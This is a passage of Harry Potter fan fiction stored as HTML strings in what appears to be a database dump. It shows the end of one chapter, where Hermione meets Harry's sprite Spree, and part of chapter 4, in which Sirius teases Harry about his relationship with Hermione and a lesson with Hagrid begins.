class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;What\'s with\ngirls and nail files?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Spree?&quot;&nbsp; Harry asked, poking his head around the\ndoor.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree sat up,\n&quot;Harry!&nbsp; Hi!&nbsp; How did it go?&quot; she asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry smiled,\n&quot;Good.&nbsp; I told her.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;And?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;She wants to\nmeet you.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree smiled,\n&quot;Alright then.&nbsp; Bring her up.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry winked at her\nand went to get Hermione.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;I hope she\nlikes me.&quot;&nbsp; Spree muttered to\nherself, &quot;Because if she doesn\'t Harry\'s in the deep end.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Now?&quot;&nbsp; Hermione asked, &quot;Right now?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry nodded,\n&quot;Yep!&nbsp; Come on.&nbsp; Spree\'s waiting.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione climbed out\nof the armchair she was sitting in and put her book on the table,\n&quot;Alright.&quot; she said, for some reason feeling a little nervous.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry led her up the\nstairs to his room and opened the door.&nbsp;\nHermione looked around but she couldn\'t see anything other than Harrys\nexpectant face.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Um...is she\nhere?&quot;&nbsp; Hermione asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry looked at his\nbedside table, &quot;Why can\'t she see you?&quot; he asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree tapped her foot\nimpatiently, &quot;She doesn\'t believe you.&nbsp;\nIf she can\'t see me she doesn\'t believe I\'m here.&quot; she said.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry sighed,\n&quot;Hermione.&nbsp; She\'s standing on my\nbedside table...I guess that you don\'t believe me though or you\'d see\nher.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione stared at\nHarrys bedside table, she squinted her eyes a little but couldn\'t see anything,\n&quot;I&nbsp; believe you!&nbsp; Really I do!&quot;&nbsp; she said.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree sighed and\nflopped down with a sigh, &quot;I don\'t know why it\'s not working.&quot; she\nmoaned.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry sighed as well\nand sat down on his bed beside Hermione.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;I\'m really\nsorry.&quot;&nbsp; Hermione said, &quot;I\ndon\'t know why I can\'t see her.&quot; </p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry put an arm\naround her shoulders, &quot;It\'s alright maybe it\'ll just take a while.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree pulled out her\nnail file, &quot;Well if we\'re just going to sit here I\'m going to file my nails.&quot;\nshe said.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry rolled his eyes\nbut just cleared his throat.&nbsp; Hermione\nwas looking at her lap, disappointment filled her.&nbsp; Why couldn\'t she see the sprite?&nbsp;\nShe really did believe Harry.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione looked up to\nappologise again to Harry when a small golden object caught her eye, she\nblinked a couple of times and then gasped, &quot;Wow!&nbsp; That\'s so amazing!&quot; </p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree raised an\neyebrow, &quot;What is?&quot; she asked looking around.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Spree?&nbsp; I-I can see you!&quot;&nbsp; Hermione said jumping up.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Spree giggled at\nHermiones enthusiasm, &quot;Hi.&quot; she said, putting her nail file away.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry smiled widely,\n&quot;This is so great!&nbsp; I\'m so glad you\ncan see each other.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Hermione nodded,\n&quot;So Spree...what\'s it like?&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;What\'s what\nlike?&quot;&nbsp; Spree asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Having to put\nup with Harry every minute.&quot;&nbsp; Hermione\nsaid.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">The two girls laughed\nas Harry started spluttering, &quot;Put-put up with me?&nbsp; Don\'t team up!&nbsp; That\'s not fair!!&nbsp; HEY!\nHeyyyyyyy!&nbsp; Aw man.&quot;&nbsp; </p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;I think we\'ll\nget along just fine.&quot;&nbsp; Spree said,\nwinking at Hermione.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;So...what\nexactly have you done to Harry thats made him ask nearly every Gryffindor girl\nwhat\'s so important about nail files?&quot;&nbsp;\nHermione asked.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;So what did you\nthink of Hermione?&quot;&nbsp; Harry asked\nSpree later that night.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;I think she\'s\nfabulous.&nbsp; She has you under lock and\nkey.&quot;&nbsp; Spree yawned.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;She does\nnot!&quot;&nbsp; Harry defended himself.</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&quot;Uh huh.&nbsp; Sure hon.&nbsp;\nWhatever you say.&quot;&nbsp; Spree\nteased, &quot;Now I\'m going to sleep. Don\'t stay up too late thinking\nlover-boy.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Harry grumbled to\nhimself as he watched her roll over, wrap her wings around herself and her\nlight that glowed around herself all the time go out, &quot;I am NOT under lock\nand key.&quot;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="tab-stops:497.0pt">Alright I know that\nwas VERY short.&nbsp; But that\'s all that I\nhad planned for this chapter so that\'s that!&nbsp;\nI hope everyone enjoyed that.&nbsp; A\nlittle H/H in this chapter, not as much as last time but I promise later on\nthere will be more!&nbsp; Next chapter:&nbsp; Harry has a talk with Sirius about girls!!\nIt won\'t be the same as my story the talk!! So don\'t worry!! Tell me what you\nthink with a nice REVIEW *hint hint*!!</p>\n\n\n\n\n\n\n'),
	(136, 4, '<p class="MsoNormal">Disclaimer:\nI don\'t own these people except for Spree.... I own Spree.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Author\nNotes:  Alright…I tried to get this out\nthe other day but due to some problems with uploading I had..all I got was !!!!\nso thanks to everyone who reviewed. \nThanks for being patient!</p>\n<p class="MsoNormal">Okay well\nhere’s chapter 4.  Unfortunetly I’m back\nat school…and I’m so swamped it’s not funny! I’ve decided I’m going to try and\nget the chapters out like one a week…*bites her lip* maybe on Tuesdays or\nWednesdays…I’m not sure yet…but I will try and get at least one new chapter out\nevery week.  R&amp;R!</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">                                                            Chapter\n4</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nknocked on the door to Professor Dumbledores office aprehensively, \'What am I\nin trouble for now?\' he wondered glumly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Come\nin."  Dumbledores voice said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nopened the door and poked his head around, "Professor?" he asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Ah\nyes Harry.  Come in.  Please, sit down."  Professor Dumbledore said, his eyes\ntwinkling as if sensing Harry\'s apphrehension.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nobeyed, and closed the door quietly behind himself and sat down in a chair in\nfront of Dumbledore.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Harry\nthe reason why I called you here is actually because you have a\nvisitor."  Professor Dumbledore\nsaid.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"A\nvisitor?"  Harry asked a little\nconfused.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">There was\na loud pop, Harry turned his head to where the noise had come from and said\nhappily, "Sirius!"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Harry!  It\'s great to see you!  Wow I swear you\'ve grown since the last time\nI\'ve seen you."  Sirius said,\ngiving Harry a fatherly hug.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Yeah.  I know. \nEveryone says that."  Harry\nsaid grinning.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Dumbldore\ncleared his throat, "I think I\'ll leave you two to catch up alone.  I\'ll talk to you later Sirius.  Goodnight Harry."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"G-night\nProfessor."  Harry said, watching\nas Dumbledore exited his office through another door.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"So\nHarry.  What have you been up\nto?"  Sirius asked, flopping down\nin the chair opposite Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Oh\nyou know...stuff.  Homework."  Harry said, not mentioning Spree or\nHermione.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\ngrinned, "Got yourself a girlfriend so I hear."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nturned red, "Where did you hear that?" he choked out.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nwinked at him, "I have my sources. \nI believe I was told by Dumbledore, Snape and Moody, amoung other\npeople."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nturned redder, "Where did they hear that?" he asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nshrugged, "So is it true?  Who is\nshe?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nshook his head, "Er..."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nraised an eyebrow, "Well?  Is it\nthat Chang girl?" </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nshook his head fervently, "No! \nWe...no it\'s not her." he said firmly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Then\nwho?"  Sirius asked, "Why\nwon\'t you tell me?" he teased.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nglared at him, "It\'s Hermione." he said finally.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Hermione?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Mmm."  Harry said, not meeting Sirius\' gaze.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Well\nI saw that coming but I still didn\'t think it would happen." Sirius said\nthoughtfully.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"You\nsaw it coming?"  Harry asked\nconfused, "Why does everyone keep saying that??"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nlaughed outright at him when he said this, "You know.  You\'re so much like James its haunting.  He said the same thing to me when he and\nLily started going out."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nwent crimson, "Hermione isn\'t Li-mum." Harry said, faltering at\nsaying the name Lily.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nnodded seriously, "I know.  So...is\nshe a good kisser?" he asked, his eyebrows wiggling devishly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"SIRIUS!"\nHarry said shocked, throwing a cushion at him {AN: The cushion was on the\nchair.  It didn\'t just pop up okay?} </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nlaughed and caught it, "So is she?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nclamped his mouth shut firmly, "I\'m not talking about this." he said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Aw\nbut I need some juicy gossip to tell Remus."  Sirius whined.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nshook his head exasperatedly, "You\'re a grown man Sirius!  You don\'t need gossip about my\ngirlfriend!" </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nwinked at him, "I\'ll take that as a no."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"She\nIS a good kisser!  Especially\nwhen-"  Harry defended, then\nclamped his hands over his mouth realising his mistake.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nroared with laughter, "Oh Harry. \nDear god!" he said, slapping his leg to emphasise it.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nmade a face, still embarrassed he changed the subject, "So...how IS\nRemus?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Fine\nfine.  He\'s fine.  I\'m fine. \nWe\'re fine.  Now...about\nHermione."  Sirius said, ignorning\nHarrys not so subtle hint.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\ngroaned, "Awww man."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"So...you\nslept with her?"  Sirius asked,\nraising an eyebrow.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nuncovered his eyes to glare at Sirius, "If I\'m not going to talk about\nkissing her I\'m not talking about sleeping with her you numbskull." he\nsaid.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\'m\nso offended."  Sirius said\ndramatically, "Why won\'t you tell me about your pretty little\ngirlfriend?" he asked pausing for effect before adding, "Is she that\nbad?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nspluttered, "Sirius!  Stop it!  I don\'t want to talk about this!!  This is a no go zone!! I\'m NOT talking.  Not another word."  he said, waving his hands around.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"What\nif I asked-"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"NO!!"  Harry interrupted before hearing the rest of\nthe sentence.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nharrumphed loudly, "I was GOING to say \'what if I asked if you were in\nlove with her.\' but I guess that\'s a no." he said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\npaused, "Wait...I didn\'t say no. \nWell I did but I didn\'t mean that. \nI mean...aw man.  Stop confusing\nme!"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"But\nI do it so well."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Oh\nshaddap!" </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"So\nHarry...um...I don\'t know about this now. \nI mean...I guess I\'ve got to say this to you.  I never thought I\'D be the one to tell you though...James was\nalways the one who....well anyway..."Sirius said not making much sense.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nraised an eyebrow, "Just say it and get it over with."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Look...I\nneed to...ask you...if...er...doyouhaveprotectionspellson?"  Sirius said quickly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"What?"  Harry asked confused, "You sound like I\ndid when I tried to ask Cho to the ball."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nlaughed, "I said, do you have protection spells on.  You know so Hermione can\'t get pregnant and\neverything..."  he said, his cheeks\ngoing a little red.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nblushed, "Oh!  Uh...yeah.  We did."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"So\nyou have slept with her then?" \nSirius asked, leaning forward a bit.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Crap...um...if\nI said no would you still believe me?" \nHarry asked hopefully.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Not\nreally."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Didn\'t\nthink so...yeah I have."  Harry said\nfinally.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"And?"  Sirius asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"And\nwhat?"  Harry asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nshook his head, "And how was it?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nturned crimson, "No no no.  Now I\'m\nnot going there.  I wasn\'t even going\nto...JUST NO!"  he stammered.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nlaughed loudly, "Alright alright. \nCalm down.  That\'s fine.  Remus will be interested though...he\'ll be\nsorry he missed this."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nface faulted, "You\'re going to tell him?" he asked, his voice\nsounding a little high pitched.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Course\nI am!  I can\'t keep anything from\nRemus."  Sirius said, shrugging.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\ngroaned and let his head fall into his hands, "Typical...well he can\'t\ntell anyone!  All I need is for it to\nget out that I\'m sleeping with her, the newspapers would have a field\nday!"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"They\'re\nalready having one.  Didn\'t you see the\nfront page?"  Sirius asked pulling\na paper out of his robes and passing them to Harry.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nunfolded them, the headline read \'Potter Love\'.  Harry let out a groan and started reading the article.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><i>Potter Love</i></p>\n<p class="MsoNormal"><i> </i></p>\n<p class="MsoNormal"><i>Our regional hero, Harry Potter, has finally\nfound love, so it seems at Hogwarts School of Witchcraft and Wizardry.  Sources say that Mr.Potter and his new\ngirlfriend Ms. Hermoine Granger are always kissing, holding hands and doing\nthings that couples do.</i></p>\n<p class="MsoNormal"><i>"Everyone\'s envious of them." one of\nfemale students, who\'s name is being withheld, told the Daily Prophet,\n"they\'re, like, the perfect couple!" </i></p>\n<p class="MsoNormal"><i>The public though is concerned as they remember\nthe supposed love triange in Harrys 4th year between Ms.Granger, Viktor Krum\nand himself.  </i></p>\n<p class="MsoNormal"><i>"We don\'t want to see him get\nhurt."  Mrs. Phoessius said,\n"And if that girl hurts him, I personally will make her very sorry!"</i></p>\n<p class="MsoNormal"><i>Perhaps it\'s time for Harry to leave his love\nfor another girl, who won\'t betray him for another friend.</i></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nstopped reading at this time, "Who wrote this?" he demanded angrily,\n"Perhaps...what a bad reporter. \nFacts.  It\'s supposed to be fact,\nnot perhaps and such.  And who is this\nMrs. Phoessius.  Fat load she\nknows.  I hope Hermione hasn\'t seen this."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nbit back a smile, "It\'s just a load of rubbish, don\'t worry about\nit."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nsighed and handed it back, "Never give me a minute do they?" he asked\na little wearily.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nshook his head, "Ignore them.  Like\nthat girl said, I bet everyone is envious of you two."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nsmiled, "Yeah.  Well they have good\nreason to be.  I have the most beautiful\nand smart girl in the world."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nsmiled, trying to hold back laughter at Harrys slightly vaccant expression,\n"Is that so?" he asked his voice filled with humour.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Mmm...aaaanyway."  Harry said, realising he was still sitting\nthere in front of Sirius, "What have you been up to?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Sirius\nsat back in his chair, "Well...I\'ve been staying with Remus for a while\nnow.  Obviously I can\'t get my own place\ntoo easily but that\'s okay because I think my company is good for Remus, he\'s\nloosened up a bit.  We\'ve just been\ner...doing some comfidential stuff for Dumbldore.  He\'s a great man you know." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nnodded, "Yeah.  I know."  Harry yawned loudly as he said this.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Look\nat the time!"  Sirius said looking\nat Dumbledores clock which now read \'Time for bed\'.  "I shouldn\'t have kept you so late.  You\'ve got school tomorrow."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nnodded, "Yeah...I\'ll see you tomorrow?" he asked hopefully.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Maybe..I\'m\nnot sure.  It depends.  I\'ll try and see you but if I don\'t I\'ll see\nyou soon.  I promise."  Sirius said seriously {AN: Sirius said\nseriously is as bad as Snape snapped...}</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nstood up and gave him a hug, "Take care." he said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"You\ntoo."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Morning\nHarry.  Morning Spree."  Hermione said sitting down on Harrys bed.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\ncould hear her talking, but he couldn\'t see her.  He stretched his head up and his eyes popped over the top of his\nblanket.  Hermione was sitting on his\nbed looking at him holding back laughter. \nHe looked over to Spree who was just as amused.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Go\nway." he said hoarsely and stuck his head back under the covers.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Rise\nand shine!"  Hermione said pulling\nhis covers off him.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nmoaned and put his pillow over his head, "No."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Spree\nfluttered over and stood on top of his head and started jumping up and down,\n"Up up up!" she chanted.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nswatted her away with his hand but sat up yawning and rubbing his eyes.  His hair was EVERYWHERE.  His eyes were half way open and he was\nyawning widely.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\ngiggled, "What a morning person you are." she teased.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nmade a face at her, "G-morning." he said, his voice a little slurred.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Are\nyou drunk?" Hermione asked, sounding a little outraged.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\nshook his head, "Nope.  Just VERY\ntired.  I think I\'m going back to\nbed." he said flopping back down again.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Nuh\nhuh!!"  Hermione said grabbing his\nhands and pulling him back up, "We\'ve got Care of Magical Creatures first\nand Hagrid said he had a new creature that we were going to study!  You have to come!"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry\ngroaned loudly but stood up, "Alright alright.  I\'m going to go have a shower, wake me up.  I\'ll see you downstairs?"</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\nnodded, "Hurry or you\'ll miss breakfast."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Right."  Harry said and ducked into the bathrooms.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Is\nhe always that tired?"  Hermione\nasked Spree, who\'d been unusually quiet.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"No.  I wonder why he is today...so...care of\nmagical creatures huh?  Did Hagrid say\nwhat sort of creature he\'d gotten?" \nSpree asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Hermione\nshook her head, "No...but whatever it is, it\'s sure to be dangerous.  I mean we\'re talking about Hagrid\nhere."</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">They both\nlaughed, knowing full well what Hagrid considered cute and adorable to\nbe...well pretty scary.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"I\ndon\'t know why you insist on trying to get you\'re hair to lay flat.  It never works."  the mirror said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">Harry sighed\nloudly and threw his comb down, "Stupid hair." he muttered before\nthrowing his towel over his shoulder and leaving the bathroom, "One day\nI\'ll get it to lay flat." </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">"Alright\nthen!"  Hagrid said happily,\n"Everyones \'ere!  Now I got a new\nsort of creature \'ere with me today. 